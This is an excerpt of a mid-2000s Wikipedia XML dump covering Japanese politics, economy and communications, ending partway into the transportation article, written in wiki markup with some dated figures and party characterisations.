*[[Liberal Democratic Party (Japan)|Liberal Democratic Party]] (LDP, conservative)
*[[Democratic Party of Japan| Democratic Party]] (DPJ, liberal/social-democratic)
**the [[Independent's Club]] sits with the Democrat Party.
*[[New Clean Government Party]] (New K&amp;#333;meit&amp;#333;, theocratic Buddhist/conservative)
*[[Japanese Communist Party]] (JCP, communist)
*[[Social Democratic Party (Japan)|Social Democrat Party]] (SDP, social-democratic)
*[[Liberal League]] (LL, conservative)

'''Note:''' The [[New Conservative Party]] (''Hoshu Shint&amp;#333;'') merged with the [[Liberal Democratic Party (Japan)|Liberal Democrat Party of Japan]] on [[November 10]], [[2003]], after its failure to win more than 4 seats in the election that year.

The LDP has been the dominant party for most of the post-war period since 1955, and is composed of a several factions which are oriented along personalistic rather than ideological lines.

=== Executive ===
The executive branch reports to the Diet. The chief of the executive branch, the [[Prime Minister of Japan|Prime Minister]], is appointed by the Emperor as directed by the Diet. He must be a member of either house of the Diet and a civilian. The [[Cabinet of Japan|Cabinet]], which he organizes, must also be civilian. The Constitution states that the majority of the Cabinet must be elected members of either house of the Diet, the precise wording leaving an opportunity to appoint non-elected officials too. The Prime Minister has the power to appoint and remove ministers.

In cases when the [[Liberal Democratic Party (Japan)|Liberal Democrat Party]] (the '''LDP''') has been in power, it has been convention that the President of the LDP serves as prime minister.

=== Judicial ===
The judicial branch is independent of the other two. Its judges are appointed by the Emperor as directed by the Diet.

Japan's judicial system, drawn from customary law, civil law, and Anglo-American common law, consists of several levels of courts, with the Supreme Court as the final judicial authority. The Japanese [[Constitution of Japan|constitution]], drawn up on [[May 3]], [[1947]] includes a bill of rights similar to the [[United States Bill of Rights]], and the Supreme Court has the right of judicial review. Japanese courts do not use a jury system, and there are no administrative courts or claims courts. Because of the judicial system's basis, court decisions are made in accordance with legal statutes. Only Supreme Court decisions have any direct effect on later interpretation of the law.

''See also:'' [[Japanese law]], [[Judicial system of Japan]]

==Policy making==

Despite an increasingly unpredictable domestic and international environment, policy making conforms to wellestablished postwar patterns. The close collaboration of the ruling party, the [[Civil service of Japan|elite bureaucracy]], and important interest groups often make it difficult to tell who exactly is responsible for specific policy decisions. The tendency for insiders to guard information on such matters compounds the difficulty, especially for foreigners wishing to understand how domestic decision making can be influenced to reduce trade problems. 

===Human factor===
The most important human factor in the policy-making process is the homogeneity of the political and business elites. They tend to be graduates of a relatively small number of top-ranked universities, such as the [[University of Tokyo]] and [[Keio University]]. Regardless of these individuals' regional or class origins, their similar educational backgrounds encourage their feeling of community, as is reflected in the finely meshed network of marriage alliances between top official and financial circle (''zaikai'') families. The institution of early retirement also foster homogeneity. In the practice of ''[[amakudari]]'', or descent from heaven, as it is popularly known, bureaucrats retiring in their fifties often assume top positions in public corporations and private enterprise. They also become politicians. By the late 1980s, most postwar prime ministers had had civil service backgrounds.

This homogeneity facilitates the free flow of ideas among members of the elite in informal settings. Bureaucrats and business people that are associated with a single industry, such as electronics, often hold regular informal meetings in Tokyo hotels and restaurants. Political scientist [[T.J. Pempel]] has pointed out that the concentration of political and economic power in Tokyo—particularly the small geographic area of its central wards—makes it easy for leaders, who are almost without exception denizens of the capital, to have repeated personal contact. Another often overlooked factor is the tendency of elite males not to be family men. Late night work and bar-hopping schedules give them ample opportunity to hash and rehash policy matters and engage in ''[[haragei]]'' (literally, belly art), or intimate, often nonverbal communication. Comparable to the warriors of ancient [[Sparta]], who lived in barracks apart from their families during much of their adulthood, the business and bureaucratic elites are expected to sacrifice their private lives for the national good. 

===Formal Policy Development===
After a largely informal process within elite circles in which ideas were discussed and developed, steps might be taken to institute more formal policy development. This process often took place in deliberation councils (''shingikai''). There were about 200 ''shingikai'', each attached to a ministry; their members were both officials and prominent private individuals in business, education, and other fields. The ''shingikai'' played a large role in facilitating communication among those who ordinarily might not meet. Given the tendency for real negotiations in Japan to be conducted privately (in the ''[[nemawashi]]'', or root binding, process of consensus building), the ''shingikai'' often represented a fairly advanced stage in policy formulation in which relatively minor differences could be thrashed out and the resulting decisions couched in language acceptable to all. These bodies were legally established but had no authority to oblige governments to adopt their recommendations.

The most important deliberation council during the 1980s was the [[Provisional Commission for Administrative Reform]], established in March 1981 by Prime Minister [[Suzuki Zenko]]. The commission had nine members, assisted in their deliberations by six advisers, twenty-one &quot;expert members,&quot; and around fifty &quot;councillors&quot; representing a wide range of groups. Its head, [[Keidanren]] president [[Doko Toshio]], insisted that government agree to take its recommendations seriously and commit itself to reforming the administrative structure and the tax system. In 1982 the commission had arrived at several recommendations that by the end of the decade had been actualized. These implementations included tax reform; a policy to limit government growth; the establishment, in 1984, of the [[Management and Coordination Agency]] to replace the Administrative Management Agency in the Office of the Prime Minister; and privatization of the [[Japanese public corporations|state-owned railroad and telephone systems]]. In April 1990, another deliberation council, the Election Systems Research Council, submitted proposals that included the establishment of single-seat constituencies in place of the multiple-seat system.

Another significant policy-making institution in the early 1990s was the [[LDP's Policy Research Council|LDP's Policy Research Council]]. It consisted of a number of committees, composed of LDP Diet members, with the committees corresponding to the different executive agencies. Committee members worked closely with their official counterparts, advancing the requests of their constituents, in one of the most effective means through which interest groups could state their case to the bureaucracy through the channel of the ruling party.

''See also:'' [[Industrial policy of Japan]]; [[Monetary and fiscal policy of Japan]]; [[Mass media and politics in Japan]]

== Post-war political development==

Political parties had begun to revive almost immediately after the [[Occupied Japan|occupation]] began. [[Left-wing]] organizations, such as the [[Japan Socialist Party]] and the [[Japanese Communist Party]], quickly reestablished themselves, as did various conservative parties. The old [[Seiyokai]] and [[Rikken Minseito]] came back as, respectively, the Liberal Party ([[Nihon Jiyuto]]) and the [[Japan Progressive Party]] (Nihon Shimpoto). The first postwar elections were held in 1946 (women were given the franchise for the first time), and the Liberal Party's vice president, [[Yoshida Shigeru]] (1878-1967), became prime minister. For the 1947 elections, anti-Yoshida forces left the Liberal Party and joined forces with the Progressive Party to establish the new [[Democratic Party of Japan|Democratic Party]] (Minshuto). This divisiveness in conservative ranks gave a plurality to the Japan Socialist Party, which was allowed to form a cabinet, which lasted less than a year. Thereafter, the socialist party steadily declined in its electoral successes. After a short period of Democratic Party administration, Yoshida returned in late 1948 and continued to serve as prime minister until 1954.

Even before Japan regained full sovereignty, the government had rehabilitated nearly 80,000 people who had been purged, many of whom returned to their former political and government positions. A debate over limitations on [[Defense budget of Japan|military spending]] and the [[Controversies regarding the role of the Emperor of Japan|sovereignty of the emperor]] ensued, contributing to the great reduction in the Liberal Party's majority in the first postoccupation elections (October 1952). After several reorganizations of the armed forces, in 1954 the [[Japan Self-Defense Forces]] were established under a civilian director. [[Cold War]] realities and the hot [[Korean war|war]] in nearby Korea also contributed significantly to the United States-influenced economic redevelopment, the suppression of communism, and the discouragement of [[organized labor]] in Japan during this period.

Continual fragmentation of parties and a succession of [[minority government]]s led conservative forces to merge the Liberal Party (Jiyuto) with the Japan Democratic Party (Nihon Minshuto), an offshoot of the earlier Democratic Party, to form the [[Liberal Democratic Party (Japan)|Liberal Democratic Party]] (Jiyu-Minshuto; LDP) in November 1955. This party continuously held power from 1955 through 1993, when it was replaced by a new minority government. LDP leadership was drawn from the elite who had seen Japan through the defeat and occupation; it attracted former bureaucrats, local politicians, businessmen, journalists, other professionals, farmers, and university graduates. In October 1955, socialist groups reunited under the [[Japan Socialist Party]], which emerged as the second most powerful political force. It was followed closely in popularity by the [[Komeito]] (Clean Government Party), founded in 1964 as the political arm of the [[Soka Gakkai International|Soka Gakkai]] (Value Creation Society), until 1991 a lay organization affiliated with the [[Nichiren Shoshu]] Buddhist sect. The Komeito emphasized traditional Japanese beliefs and attracted urban laborers, former rural residents, and many women. Like the [[Japan Socialist Party]], it favored the gradual modification and dissolution of the [[Treaty of Mutual Cooperation and Security between the United States and Japan|Japan-United States Mutual Security Assistance Pact]].

== Recent political developments ==
LDP domination lasted until the Diet Lower House elections on [[July 18]], [[1993]], in which the LDP failed to win a majority.

A coalition of new parties and existing opposition parties formed a governing majority and elected a new prime minister, [[Morihiro Hosokawa]], in August [[1993]]. His government's major legislative objective was political reform, consisting of a package of new political financing restrictions and major changes in the electoral system. The coalition succeeded in passing landmark political reform legislation in January [[1994]].

In April [[1994]], Prime Minister Hosokawa resigned. Prime Minister [[Tsutomu Hata]] formed the successor coalition government, Japan's first minority government in almost 40 years. Prime Minister Hata resigned less than 2 months later.

Prime Minister [[Tomiichi Murayama]] formed the next government in June [[1994]], a coalition of his [[Japan Socialist Party]] (JSP), the LDP, and the small [[New Party Sakigake]]. The advent of a coalition containing the JSP and LDP shocked many observers because of their previously fierce rivalry.

Prime Minister Murayama served from June [[1994]] to January [[1996]]. He was succeeded by Prime Minister [[Ryutaro Hashimoto]], who served from January [[1996]] to July [[1998]]. Prime Minister Hashimoto headed a loose coalition of three parties until the July [[1998]] Upper House election, when the two smaller parties cut ties with the LDP.

Hashimoto resigned due to a poor electoral showing by the LDP in those Upper House elections. He was succeeded as party president of the LDP and prime minister by Keizo Obuchi, who took office on [[July 30]], [[1998]].

The LDP formed a governing coalition with the [[Liberal Party of Japan (1998)| Liberal Party]] in January [[1999]], and [[Keizo Obuchi]] remained prime minister. The LDP-Liberal coalition expanded to include the New Komeito Party in October [[1999]].

Prime Minister Obuchi suffered a stroke in April [[2000]] and was replaced by [[Yoshiro Mori]]. After the Liberal Party left the coalition in April [[2000]], Prime Minister Mori welcomed a Liberal Party splinter group, the [[New Conservative Party]], into the ruling coalition. The three-party coalition made up of the LDP, New Komeito, and the New Conservative Party maintained its majority in the Diet following the June [[2000]] Lower House elections.

After a turbulent year in office in which he saw his approval ratings plummet to the single digits, Prime Minister Mori agreed to hold early elections for the LDP presidency in order to improve his party's chances in crucial July [[2001]] Upper House elections. On [[April 24]], [[2001]], riding a wave of grassroots desire for change, maverick politician [[Junichiro Koizumi]] defeated former Prime Minister Hashimoto and other party stalwarts on a platform of economic and political reform. Koizumi was elected as Japan's 87th Prime Minister on [[April 26]], [[2001]].

On [[October 11]], [[2003]], the Prime Minister Koizumi dissolved the [[House of Representatives of Japan|lower house]] after he was re-elected as the president of the LDP. (See [[Japan general election, 2003]]) Likewise, that year, the LDP won the election, even though it suffered setbacks from the new opposition party, the [[Liberalism|liberal]] and [[social-democratic]] [[Democratic Party of Japan| Democrat Party]]. A similar event occurred during the 2004 Upper House Elections.

On August 8, 2005, [[Prime Minister]] [[Junichiro Koizumi]] called a [[Japan_general_election,_2005|snap election]] to the lower house, as threatened, after LDP stalwarts and opposition DPJ parliamentarians defeated his proposal for a large-scale reform and privatisation of [[Japan Post]], which besides being Japan's state-owned postal monopoly is arguably the world's largest financial institution, with nearly 331 trillion yen of assets. The election was scheduled for [[September 11]], [[2005]], and was won in a landslide by [[Junichiro Koizumi|Junichiro Koizumi's]] LDP.

== Political parties and elections ==
{{elect|List of political parties in Japan|Elections in Japan}}
===2005 General election===
{{Japanese general election, 2005}}
{{main|Japan general election, 2005}}
===2004 Upper House election===
{{Japan upper house election, 2004}}
{{main|Japan upper house election, 2004}}
=== [[Liberal Democratic Party (Japan)| Liberal Democratic Party]]===
The LDP is Japan's largest political party and the senior partner in the current governing coalition. Prime Minister [[Junichiro Koizumi]] is a member of this political party. It is a [[Conservatism|conservative]] party of the [[right-wing]] and is made up of various conservative and reformist factions. The LDP has been in power almost continuously since [[1955]], when it was formed as a merger of early postwar Japan's two conservative parties, the [[Liberal Party of Japan, Occupation]], and the [[Democrat Party of Japan, Occupation]]. The party is characterized as being very conservative on social and foreign matters.

=== [[Democratic Party of Japan]]===
The DPJ is Japan's second largest party and leads the opposition. It is a [[Liberalism|liberal]] and almost [[social-democratic]] party of the [[left-wing]]. It is the largest opposition party, and was formed in the late 1990s as a result of the merger of several anti-LDP parties. Quite [[Liberalism|liberal]] and oppositional on key issues, as well as moderately [[social-democratic]]. It is against the Iraq war, and is led by Seiji Maehara.

=== [[New Clean Government Party]] ===
The Shin Komeito Party (Japanese name for the New Clean Government Party) is Japan's third largest party and the governing party's junior partner. It was formerly known as the [[Clean Government Political Assembly]] and the [[Clean Government Party (Former)]]. The party is a [[conservative]] party of the [[right-wing]], but it is also the political wing of [[Soka Gakkai]], an almost militant sect of [[Nichiren Buddhism]]. Therefore, it is also considered a [[theocratic]] Buddhist party. It has moderated its stance however. Because it is partners with the LDP, it is unopposed to the war in Iraq. It is now led by [[Takenori Kanzaki]].

=== [[Japanese Communist Party]] ===
The Japanese Communist Party is Japan's fourth largest party and the middle partner of the opposition coalition. It is a [[moderate]] [[communist]] party of the [[left-wing]]. Though it is communist, it is a very moderate communist party, and is not against religion and does not want the [[emperor]] to step down. It supports multi-party democracy and does not advocate the imposition of radical change on Japanese society. That is why the Communists have more seats than the [[Social Democratic Party (Japan)| Social Democrat Party]]. It is very pacifist and does not support an alliance with the [[United States]].

=== [[Social Democratic Party (Japan)]] ===
The Social Democrat Party of Japan is Japan's fifth largest party and the junior partner in the opposition coalition. It is a [[moderate]] [[social-democratic]] party of the [[left-wing]]. It is seen more as a [[moderate]] social-democratic, and [[populist]] party rather than a [[revolutionary]] [[socialist]] party. It grew out of the [[Japan Socialist Party]] and the [[Democratic Socialist Party (Japan)]] It is not popular in Japan and the Communists have more votes than the Social Democrats. It is against the war in Iraq.

=== Minor Political Parties ===

==== [[Liberal League]] ====
The Liberal League is a [[right-wing]] party in Japan, which, despite its name, is actually [[conservative]]. The party is not very popular among the Japanese people, but it has 1 seat so far in the Diet.

==== Other minor parties ====
Japan has other minor parties, but these are just about defunct. Most other parties are [[communist]] and [[socialist]] parties, as well as a few [[nationalist]], [[reformist]], and even [[racist]] and far [[right-wing]] parties.

==Census==
The government of Japan collects information on the population. The [[2005]] census collects information on population, age, sex, household size, work and income as of the end of September.

==See also==
*[[Japanese Foreign minister]]
*[[Japan general election, 2003]]
*[[Japanese nationalism]]
*[[Neoconservatism (Japan)]]
*[[Political funding in Japan]]

== Reference ==
* {{loc}} - [http://lcweb2.loc.gov/frd/cs/jptoc.html Japan]

==External links==

* [http://www.japanesestudies.org.uk ''Electronic journal of contemporary japanese studies''] 

[[Category:Politics of Japan]]

[[de:Politik Japans]]
[[es:Política del Japón]]
[[fr:Politique du Japon]]
[[gl:Política do Xapón]]
[[lt:Japonijos politinė sistema]]
[[ja:日本の政治]]
[[pt:Política do Japão]]
[[zh:日本政治]]</text>
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  </page>
  <page>
    <title>Economy of Japan</title>
    <id>15578</id>
    <revision>
      <id>42137368</id>
      <timestamp>2006-03-04T01:46:13Z</timestamp>
      <contributor>
        <username>Rentastrawberry</username>
        <id>144857</id>
      </contributor>
      <comment>category</comment>
      <text xml:space="preserve">{{Economy of Japan table}}

==Economic Profile==
[[Japan]]'s [[industrialized]], [[free-market]] [[economics|economy]] is the world's third-largest by [[purchasing power parity]] (PPP) after the [[United States]] and [[China]], and second-largest by [[market]] [[exchange rates]]. Its economy is highly efficient and competitive in areas linked to international trade, but productivity is lower in areas such as agriculture, distribution, and services. After achieving one of the [[Japanese post-war economic miracle|highest economic growth rates in the world]] from the [[1960s]] through the [[1980s]], the Japanese economy slowed dramatically in the early [[1990s]], when the &quot;[[Japanese asset price bubble|bubble economy]]&quot; collapsed. Its reservoir of industrial leadership and technicians, well-educated and industrious work force, high savings and investment rates, and intensive promotion of industrial development and foreign trade have produced a mature industrial economy. Japan has few natural resources, and trade helps it earn the foreign exchange needed to purchase raw materials for its economy.

Sliding stock and real estate prices marked the end of the &quot;bubble economy&quot; of the late 1980s, and ushered in a decade of stagnant economic growth. Real GDP in Japan grew at an average of roughly 1.5% yearly between 1991-1999, compared to growth in the 1980s of about 4% per year. Growth in Japan throughout the 1990s was slower than growth in other major industrial nations, and the same as [[France]] and [[Germany]]. Japan endured periods of recession around the turn of the millennium, exacerbated by recession in the [[United States]], but from 2003 began to grow strongly again at 2.0% and this rate has held steady through 2004 and projected by a survey of economists through 2005. Japan has already achieved over 5% growth in the first half of 2005.'''

==Natural resources==
A mountainous, island nation, Japan has inadequate [[natural resources]] to support its growing economy and large population. Although many kinds of minerals were extracted throughout the country, most mineral resources had to be imported in the postwar era. Local deposits of metal-bearing ores were difficult to process because they were low grade. The nation's large and varied [[forest]] resources, which covered 70 percent of the country in the late 1980s, were not utilized extensively. Because of the precipitous terrain, underdeveloped road network, and high percentage of young trees, domestic sources were only able to supply between 25 and 30 percent of the nation's timber needs. Agriculture and fishing were the best developed resources, but only through years of painstaking investment and toil. The nation therefore built up the manufacturing and processing industries to convert raw materials imported from abroad. This strategy of economic development necessitated the establishment of a strong economic infrastructure to provide the needed energy, transportation, communications, and technological know-how.

Given its heavy dependence on imported energy, Japan has aimed to diversify its sources. Since the oil shocks of the 1970s, Japan has reduced dependence on petroleum as a source of energy from more than 75% in 1973 to about 57% at present. Other important energy sources are coal, liquefied natural gas, nuclear power, and hydropower. Demand for oil is also dampened by higher government taxes on automobile engines over 2000 cc, as well as on gasoline itself, currently 54 yen per liter sold retail. Kerosene is also used extensively for home heating in portable heaters, especially farther north. Many taxi companies run their fleets on liquefied gas with tanks in the car trunks. A recent success towards greater [[fuel economy]] was the introduction of mass-produced [[Hybrid vehicle]]s. (''see also'' [[Energy production in Japan]])

Deposits of gold, magnesium, and silver meet current industrial demands, but Japan is dependent on foreign sources for many of the minerals essential to modern industry. [[Iron ore]], [[Coke (fuel)|coke]], [[copper]], and [[bauxite]] must be imported, as must many forest products.

==Agriculture==
Only 15% of Japan's land is suitable for cultivation. The agricultural economy is highly subsidized and protected. With per unit area crop yields among the highest in the world, Japan maintains an overall agricultural self-sufficiency rate of about 50% on fewer than 56,000 km&amp;sup2; (14 million acres) cultivated. Japan normally produces a slight surplus of rice but imports large quantities of [[wheat]], [[sorghum]], and [[soybean]]s, primarily from the [[United States]]. Japan is the largest market for U.S. agricultural exports. Potatoes are also grown, mostly in [[Hokkaido]], as well as where they were first introduced by Dutch traders, in [[Nagasaki]] in the late 18th century.

==Industry==
The nation's industrial activities (including [[Japanese mining industry|mining]], manufacturing, and power, gas, and water utilities) contributed 46.6 of total domestic industrial production in 1989, up slightly from 45.8 percent in 1975. This steady performance of the industrial sector in the 1970s and 1980s was a result of the growth of high-technology industries. During this period, some of the older [[heavy industry|heavy industries]], such as steel and shipbuilding, either declined or simply held stable. Together with the [[Construction industry of Japan|construction industry]], those older heavy industries employed 34.9 of the work force in 1989 (relatively unchanged from 34.8 percent in 1980). The service industry sector grew the fastest in the 1980s in terms of GNP, while the greatest losses occurred in agriculture, forestry, mining, and transportation. Most industry catered to the domestic market, but exports were important for several key commodities. In general, industries relatively geared toward exports over imports in 1988 were transportation equipment (with a 24.8 percent ratio of exports over imports), motor vehicles (54 percent), electrical machinery (23.4 percent), general machinery (21.2 percent), and metal products (8.2 percent).

Industry is concentrated in several regions, in the following order of importance: the [[Kantō region]] surrounding [[Tokyo]], especially the prefectures of [[Chiba Prefecture|Chiba]], [[Kanagawa Prefecture|Kanagawa]], [[Saitama Prefecture|Saitama]] and Tokyo (the [[Keihin region|Keihin industrial region]]); the [[Nagoya]] metropolitan area, including [[Aichi Prefecture|Aichi]], [[Gifu Prefecture|Gifu]], [[Mie Prefecture|Mie]], and [[Shizuoka Prefecture|Shizuoka]] prefectures (the [[Chukyo-Tokai industrial region]]); [[Kansai|Kinki]] (the [[Keihanshin industrial region]]); the southwestern part of [[Honshū]] and northern [[Shikoku]] around the [[Inland Sea]] (the [[Setouchi industrial region]]); and the northern part of [[Kyushu]] ([[Kitakyushu]]). In addition, a long narrow belt of industrial centers is found between [[Tokyo]] and [[Hiroshima]], established by particular industries, that have developed as mill towns. These include [[Toyota City]], near Nagoya, the home of the automobile manufacturer.

The fields in which Japan enjoys relatively high technological development include [[semiconductor]] manufacturing, [[optical fiber]]s, [[optoelectronics]], [[optical media]], [[Fax|facsimile]] and [[Photocopying|copy machines]], [[industrial robot]]s, and [[fermentation]] processes. Japan lags slightly in such fields as [[satellite]]s, [[rocket]]s, and large [[aircraft]], where advanced engineering capabilities are required, and in such fields as computer-aided design and computer-aided manufacturing ([[CAD/CAM]]), and databases, where basic software capabilities are required, and natural resources exploitation, due to the lack of them.

*''see'' [[Manufacturing industries of Japan]]

==Labor Force==
[[Image:Unemployment1984 2033 2 html m5c39a5a0.jpg]]

Japan's labor force consists of some 64 million workers, 40% of whom are women. Labor union membership is about 12 million. The unemployment rate is currently 4.9%--a post-war high. In 1989, the predominantly public sector union confederation, SOHYO (General Council of Trade Unions of Japan), merged with RENGO (Japanese Private Sector Trade Union Confederation) to form the Japanese Trade Union Confederation.

One major long-term concern for the Japanese labor force is a low [[birthrate]].  In the first half of [[2005]], the number of deaths in Japan exceeded the number of births, indicating that the decline in population, initially predicted to start in [[2007]], has already started.  While one countermeasure for a declining birthrate would be to remove barriers to [[immigration]], the Japanese government has been reluctant to do so.

''see also:'' [[Labor market of Japan]]

==Current Economic Issues==
Japan faces a number of economic concerns.  While the bad loan problem of the mid to late 1990s, which plagued the banking sector, has shown improvement in recent years, Japan still has a number of long-term economic issues that it must deal with.

The privatization of [[Japan Post]], the Japanese [[postal system]] which also runs insurance and deposit-taking businesses, is a major issue.  A political battle over privatization caused a political stalemate in August, 2005, and ultimately led to the dissolution of the Japanese [[House of Representatives of Japan|House of Representatives]].  The Postal Savings deposits, which have until now been used to fund public works projects, many of which have had questionable economic value, stands in excess of 1.9 trillion U.S. dollars, and could be a major force in energizing the private sector.

The decline in the Japanese population as a result of a low birthrate threatens the long-term economic vitality of Japan.  A higher percentage of [[elderly]] in the population will put pressures on the [[pension system]], and will ultimately force a higher burden on the current generation of laborers.

==Other Economic Indicators==
'''Industrial Production Growth Rate:''' 6.6% (2004)

'''Investment (gross fixed):''' 24% of GDP (2004)

'''Household income or consumption by percentage share:''' 
*''Lowest 10%:'' 4.8%
*''Highest 10%:'' 21.7% (1993)

'''Agriculture - Products:''' rice, sugar beets, vegetables, fruit, pork, poultry, dairy products, eggs, fish

'''Exports - Commodities:''' motor vehicles, semiconductors, office machinery, chemicals

'''Imports - Commodities:''' machinery and equipment, fuels, foodstuffs, chemicals, textiles, raw materials (2001)

'''[[Exchange rates]]:'''&lt;br&gt;
''Japanese Yen per US$1'' - 109.690016 (2005), 115.933 (2003), 125.388 (2002), 121.529 (2001), 105.16 (January 2000), 113.91 (1999), 130.91 (1998), 120.99 (1997), 108.78 (1996), 94.06 (1995) 

'''Electricity:'''
*''Electricity - consumption:'' 964.2 [[TWh]] (2001)
*''Electricity - production:'' 1037 [[TWh]] (2001)
*''Electricity - exports:'' 0 [[kWh]] (2001)
*''Electricity - imports:'' 0 [[kWh]] (2001)

'''Electricity - Production by source:''' 
*''Fossil Fuel:'' 56.68% 
*''Hydro:'' 8.99% 
*''Nuclear:'' 31.93% 
*''Other:'' 2.4% (1998) 

'''Electricity - Standards:'''
*100 [[volts]] at 50 Hz from the Oi River (in [[Shizuoka]]) Northward;
*100 [[volts]] at 60 Hz Southward

'''Oil:'''
*''production:'' 17,330 barrel/day (2001 est.)
*''consumption:'' 5.29 million barrel/day (2001 est.)
*''exports:'' 93,360 barrel/day (2001)
*''imports:'' 5.449 million barrel/day (2001)
*''net imports:'' 5.3 million barrel/day (2004 est.)
*''proved reserves:'' 29.29 million barrels (1 January 2002)

==See also==
*[[Japanese post-war economic miracle]]

==External links==
*[http://www.japanesestudies.org.uk ''electronic journal of contemporary japanese studies'']

[[Category:Economies by country|Japan]]

[[de:Wirtschaft Japans]]
[[es:Economía del Japón]]
[[fr:Économie du Japon]]
[[he:כלכלת יפן]]
[[id:Ekonomi Jepang]]
[[ja:日本の経済]]
[[pt:Economia do Japão]]
[[vi:Kinh tế Nhật Bản]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Japan</title>
    <id>15579</id>
    <revision>
      <id>25232742</id>
      <timestamp>2005-10-10T23:00:27Z</timestamp>
      <contributor>
        <username>Mkill</username>
        <id>335257</id>
      </contributor>
      <comment>looks like the Library of Congress material was still good for a communication history of Japan :)</comment>
      <text xml:space="preserve">Japan currently possesses one of the most advanced communication networks in the world.

==Telephone==
'''[[Telephone]]s - main lines in use:''' 60.3 million ([[1997]]) 

'''Telephones - [[mobile cellular]]:''' 88.1 million ([[July]] [[2004]])

'''Telephone system:''' excellent domestic and international service according to CIA World Factbook

:''domestic:'' All major city to city lines are now [[fiber-optic]] and replacing [[copper wires]] to the home has started. Several [[IP phone]] companies have also begun their services providing low or fixed price phone services.
:''international:'' satellite earth stations - 5 [[Intelsat]] (4 Pacific Ocean and 1 Indian Ocean), 1 [[Intersputnik]] (Indian Ocean region), and 1 [[Inmarsat]] (Pacific and Indian Ocean regions); submerged cables to [[Mainland China]], [[Philippines]], [[Russia]], and [[United States|US]] (via [[Guam]]) 

==Radio and Television==
'''Radio broadcast stations:''' [[Amplitude modulation|AM]] 190, [[Frequency modulation|FM]] 88, [[shortwave]] 24 ([[1999]]) 

'''[[Radio]]s:''' 120.5 million (1997) 

'''Television broadcast stations:''' 7,108 (plus 441 repeaters; note - in addition, US Forces are served by 3 TV stations and 2 TV cable services) (1999) 

'''Televisions:''' 86.5 million (1997) 

== [[Internet]] Service ==

*'''[[Internet Service Provider]]s (ISPs):''' 357 (1999) 
*'''Internet Service Providers via [[Cable Network]]:''' 334 (June 2004)
*'''Number of Portable Phone Users with the Internet Access:''' 71,044,000 (June 2004)

Number of [[Broadband]] Users by Access (April 2005)
*'''Number of the [[xDSL]] Users:''' 13,675,840 lines
*'''Number of the [[FTTH]] Users:''' 2,852,205 lines
*'''Number of the [[CATV]] Service Users:''' 2,959,712 lines


Number of [[Broadband]] Users by Access (June 2004)
*'''Number of the [[xDSL]] Users:''' 12,068,718 lines
*'''Number of the [[FTTH]] Users:''' 1,417,483 lines
*'''Number of the [[CATV]] Service Users:''' 2,702,000 lines
*'''Number of the [[Dial-up]] Users:''' 17,730,000 lines

Number of [[Broadband]] Users by Access (June 2002)
*'''Number of the [[xDSL]] Users:''' 3,300,926 lines
*'''Number of the [[FTTH]] Users:''' 84,903 lines
*'''Number of the [[CATV]] Service Users:''' 1852000 lines
*'''Number of the [[Dial-up]] Users:''' 20,390,000 lines

'''[[Country codes|Country code]] (Top-level domain):''' JP

==History==
The first milestones in the Japanese media history were newspapers in the Meiji period, the first being the [[Nagasaki Shipping List &amp; Advertiser]], founded [[1861]] in [[Nagasaki]], with the telegraph and telephone following suit. 
&lt;!-- year data needed--&gt;

The broadcast industry has been dominated by the Japan Broadcasting Corporation (Nippon Hoso Kyokai—[[NHK]]) since its founding in 1925. 

In the postwar period, NHK's budget and operations were under the purview of the [[Ministry of Posts and Telecommunications (Japan)|Ministry of Posts and Telecommunications]], the [[Broadcasting Law]] of 1950 provides for independent management and programming by NHK. Television broadcasting began in 1953, and color television was introduced in 1960. Cable television was introduced in 1969. In 1978 an experimental broadcast satellite with two color television channels was launched. Operational satellites for television use were launched between 1984 and 1990. Television viewing spread so rapidly that, by 1987, 99 percent of Japan's households had color television sets and the average family had its set on at least five hours a day. Starting in 1987, NHK began full-scale experimental broadcasting on two channels using satellite-to-audience signals, thus bringing service to remote and mountainous parts of the country that earlier had experienced poor reception. The new system also provided twenty-four hours a day, nonstop service. 

In the late 1980s, NHK operated two public [[television]] and three [[radio]] networks nationally, producing about 1,700 programs per week. Its general and education programs were broadcast through more than 6,900 television stations and nearly 330 AM and more than 500 FM radio transmitting stations. Comprehensive service in twenty-one languages is available throughout the world.

Rapid improvements, innovations, and diversification in communications technology, including optical fiber cables, communications satellites, and [[fax]] machines, led to rapid growth of the communications industry in the 1980s. [[Nippon Telegraph and Telephone]] Corporation, owned by the government until 1985, had dominated the communications industry until April 1985, when new common carriers, including [[Daini Denden]], were permitted to enter the field. [[NTT Worldwide Telecommunications Corp]] (Kokusai Denshin Denwa Company) lost its monopoly hold on international communications activities in 1989, when [[Nihon Kokusai Tsushin]] and other private overseas communications firms began operations. 

In 1992 Japan also had more than 12,000 televisions stations, and the country had more than 350 radio stations, 300 AM radio stations and 58 FM. Broadcasting innovations in the 1980s included sound multiplex (two-language or stereo) broadcasting, satellite broadcasting, and in 1985 the University of the Air and teletext services were inaugurated. 

Japan has been the world leader in telecommunications in the [[1980s]], but this position that has been challenged by the [[United States]]' [[dot-com]] industry in the 1990s and the emerging [[tiger states]] in Asia. While the United States is leading in digital content, [[South Korea]] is leading in broadband access, India is leading in software, and [[Taiwan]] is leading in research and development.

[[Category:Communications by country|Japan]]
[[Category:Communications in Japan| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Japan</title>
    <id>15580</id>
    <revision>
      <id>39913070</id>
      <timestamp>2006-02-16T19:58:09Z</timestamp>
      <contributor>
        <username>Slambo</username>
        <id>107930</id>
      </contributor>
      <minor />
      <comment>/* Marine transport */ disambig container</comment>
      <text xml:space="preserve">'''Transportation in Japan''' is modern and efficient, serving a population of over 100 million people.

==Rail transport==

[[Image:Yamanote line train.jpg|thumb|Yamanote Line, [[Tokyo]]]]
[[Image:KumamotoStreetcarA.jpg|thumb|[[Tram|Streetcar]] in [[Kumamoto, Kumamoto|Kumamoto]]]]

In [[Japan]], [[railway]]s are a major means of passenger [[transport]], especially for mass and high-speed transport between major cities and for commuter transport in [[metropolitan area]]s. Seven [[Japan Railway]] companies, once state-owned until 1987, cover most parts of Japan. There also are railway services operated by private rail companies, regional governments, and companies funded by both regional governments and private companies.  Japanese trains are also famous for always being on time.

Total railways of 23,670.7 [[kilometre|km]] include entirely electrified 2,893.1 km of 1.435-[[metre|m]] [[standard gauge]] and 89.8 km of 1.372-m [[narrow gauge]], 
89.8 km of which is electrified. Half of 20,656.8 km 1.067-m gauge and 3.6 km of 31 km 0.762-m gauge are electrified (1994).

Due to the country being an island there are no links to adjacent countries. There has been a proposal of a tunnel to [[Sakhalin]], which would the be connected to Russian mainland via another tunnel.

